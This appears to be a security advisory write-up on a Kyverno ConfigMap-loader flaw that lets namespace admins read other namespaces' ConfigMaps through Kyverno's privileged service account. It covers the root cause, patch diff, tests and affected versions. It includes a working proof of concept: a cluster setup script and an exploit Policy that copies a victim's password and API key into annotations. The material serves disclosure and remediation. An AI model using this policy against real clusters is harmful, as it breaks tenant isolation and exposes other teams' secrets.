Introduction
An incomplete security fix in Kyverno left multi-tenant Kubernetes clusters wide open to cross-namespace data exfiltration, allowing any namespace admin to read ConfigMaps from arbitrary namespaces by abusing Kyverno's own privileged service account. The earlier CVE-2026-22039 patched this class of RBAC bypass for the apiCall context, but the identical vulnerability in the ConfigMap context loader was missed entirely, and a public proof of concept makes exploitation trivial.
Kyverno is a Cloud Native Computing Foundation incubating project and one of the most widely adopted policy engines for Kubernetes, with over 3 billion downloads. It enables platform engineering teams to define admission control, mutation, validation, and resource generation policies as native Kubernetes resources. Its deep integration into the Kubernetes admission pipeline means that a vulnerability in Kyverno's privilege model can undermine the RBAC isolation that multi-tenant clusters depend on.
Technical Information
Root Cause
The vulnerability is classified under CWE-863 (Incorrect Authorization) and carries a CVSS 3.1 base score of 7.7 High, with the vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
The root cause lies in pkg/engine/context/loaders/configmap.go. The NewConfigMapLoader function accepts a configMap.namespace field after variable substitution and directly passes it to the resolver.Get() call with zero validation against the policy's own namespace. In a properly isolated multi-tenant cluster, a namespace-scoped Kyverno Policy should only be able to reference resources within its own namespace. However, because the ConfigMap loader never enforced this constraint, any resolved namespace was accepted.
This is particularly dangerous because Kyverno's admission controller service account holds a cluster-wide view role. When a namespaced policy references a ConfigMap in a foreign namespace, Kyverno dutifully fetches it using its own elevated privileges, effectively acting as a proxy for the attacker.
The earlier CVE-2026-22039 fixed this exact pattern for the apiCall.URLPath field by adding namespace validation to the API call context loader. The ConfigMap context loader, however, was not included in that fix.
Attack Flow
The exploitation path is straightforward and requires only standard namespace admin privileges:
-
Attacker has namespace admin access in their own namespace (e.g.,
attacker-ns) within a multi-tenant Kubernetes cluster running a vulnerable version of Kyverno. -
Attacker creates a Kyverno
Policyinattacker-nsthat includes acontextentry referencing a ConfigMap in a victim namespace (e.g.,victim-ns). TheconfigMap.namespacefield is set to the target namespace. -
Attacker triggers the policy by creating a resource that matches the policy's
matchcriteria (e.g., a ConfigMap namedtrigger-cminattacker-ns). -
Kyverno's admission controller processes the admission request, evaluates the policy, and fetches the cross-namespace ConfigMap using its own cluster-wide service account.
-
The policy mutates the trigger resource to exfiltrate the stolen data. For example, the policy can write the victim ConfigMap's values into annotations on the trigger ConfigMap, making them readable by the attacker.
The attacker never directly accesses the victim namespace. Kubernetes RBAC correctly denies direct access. The bypass occurs because Kyverno acts as an intermediary with elevated privileges and no namespace boundary enforcement on the ConfigMap loader.
Proof of Concept
A fully functional proof of concept is publicly disclosed in the GitHub Security Advisory GHSA-cvq5-hhx3-f99p. The attack reproduces in approximately 5 minutes on a local kind cluster.
Step 1: Environment Setup
#!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected)
Step 2: Exploit Policy
The core of the exploit is a Kyverno Policy resource that references a ConfigMap in a different namespace via the unvalidated configMap.namespace field:
apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Step 3: Trigger and Exfiltrate
Creating a ConfigMap named trigger-cm in attacker-ns activates the policy. The mutated annotations on the resulting object contain the victim namespace's ConfigMap data (the db-password and api-key values).
The vulnerable code path is in NewConfigMapLoader() within pkg/engine/context/loaders/configmap.go, which accepts the namespace field after variable substitution and passes it directly to resolver.Get() with no validation against the policy's own namespace.
Patch Information
The fix was introduced in commit bbf3e5c (PR #15850), authored by Jim Bugwadia on April 15, 2026, and released in Kyverno v1.17.2.
The patch touches three files:
1. pkg/engine/context/loaders/configmap.go (38 additions, 16 deletions)
A new policyNamespace field was added to the configMapLoader struct:
type configMapLoader struct { // ... existing fields ... policyNamespace string // NEW: tracks the namespace of the owning policy }
Inside the fetchConfigMap() method, two layers of validation were added after variable substitution:
Type assertion safety to prevent panics from non-string substitution results:
namespaceStr, ok := namespace.(string) if !ok { return nil, fmt.Errorf("...expected string, got %T", namespace) }
Cross-namespace access guard, which is the critical security check:
// For namespaced policies, default to the policy's own namespace. if namespaceStr == "" { if cml.policyNamespace != "" { namespaceStr = cml.policyNamespace } else { namespaceStr = "default" } } // For namespaced policies, reject cross-namespace ConfigMap access. if cml.policyNamespace != "" && namespaceStr != cml.policyNamespace { return nil, fmt.Errorf( "context entry %s: configMap namespace %q is different from policy namespace %q", entryName, namespaceStr, cml.policyNamespace, ) }
The logic is two-part: first, if no namespace was specified, the default is now context-aware, so namespaced policies default to their own namespace rather than always falling back to "default". Second, an explicit comparison blocks any resolved namespace that does not match the policy namespace. ClusterPolicies (where policyNamespace is empty) remain unrestricted, as they have cluster-wide scope by design.
2. pkg/engine/factories/contextloaderfactory.go (1 line change)
The call site that instantiates NewConfigMapLoader was updated to pass the already available l.policyNamespace:
// Before: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext) // After: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext, l.policyNamespace)
This policyNamespace value was already present in the context loader factory (it was being passed to the apiCall loader as part of the CVE-2026-22039 fix) but was simply not being threaded through to the ConfigMap loader.
3. pkg/engine/context/loaders/configmap_test.go (143 lines, new file)
Seven focused unit tests were added:
Test_CrossNamespaceConfigMapAccessconfirms a namespaced policy inattacker-nsis blocked from reading ConfigMaps invictim-ns, and verifies the mock resolver is never even called (the check fails before any network request).Test_SameNamespaceConfigMapAccessensures same-namespace access still works.Test_CrossNamespaceConfigMapAccess_EmptyNamespaceDefaultsToPolicyNSvalidates that omitting the namespace on a namespaced policy defaults to the policy's own namespace.Test_CrossNamespaceConfigMapAccess_ClusterPolicyUnrestrictedconfirms ClusterPolicies can still access ConfigMaps in any namespace.Test_CrossNamespaceConfigMapAccess_WithVariableSubstitutionverifies that even when the attacker uses Kyverno variable substitution (e.g.,{{ targetNs }}) to dynamically inject a victim namespace, the validation still catches it after substitution.- Two additional tests cover non-string substitution edge cases that prevent panics.
Affected Systems and Versions
| Version | Status | Details |
|---|---|---|
| 1.17.0 and earlier | Vulnerable | Confirmed affected per GHSA-cvq5-hhx3-f99p |
| 1.17.1 | Vulnerable | Listed as affected in the GitHub Advisory Database |
| 1.17.2 | Patched | Contains the namespace validation fix |
All versions up to and including 1.17.1 should be treated as vulnerable. The fix requires Kyverno 1.17.2.
Kyverno 1.17.x requires Kubernetes 1.32 through 1.35. Administrators should verify their cluster version before upgrading. For reference, Kyverno follows an N-2 support policy:
| Kyverno Version | Kubernetes Minimum | Kubernetes Maximum |
|---|---|---|
| 1.15.x | 1.30 | 1.33 |
| 1.16.x | 1.31 | 1.34 |
| 1.17.x | 1.32 | 1.35 |
The security advisory also recommends auditing other context loaders (globalReference, imageRegistry, variable) for the same missing validation pattern.
Vendor Security History
CVE-2026-41068 is explicitly an incomplete fix for the earlier CVE-2026-22039, which addressed the same class of cross-namespace privilege escalation in Kyverno's apiCall context. The apiCall.URLPath field was patched to validate the resolved namespace against the policy namespace, but the ConfigMap context loader was missed in that remediation. The recurrence of the identical vulnerability pattern in a parallel code path underscores the challenge of ensuring comprehensive coverage when fixing a class of vulnerability across multiple subsystems. The Kyverno maintainers responded with a targeted fix and thorough test coverage, and the advisory proactively calls out additional context loaders that should be audited for the same issue.



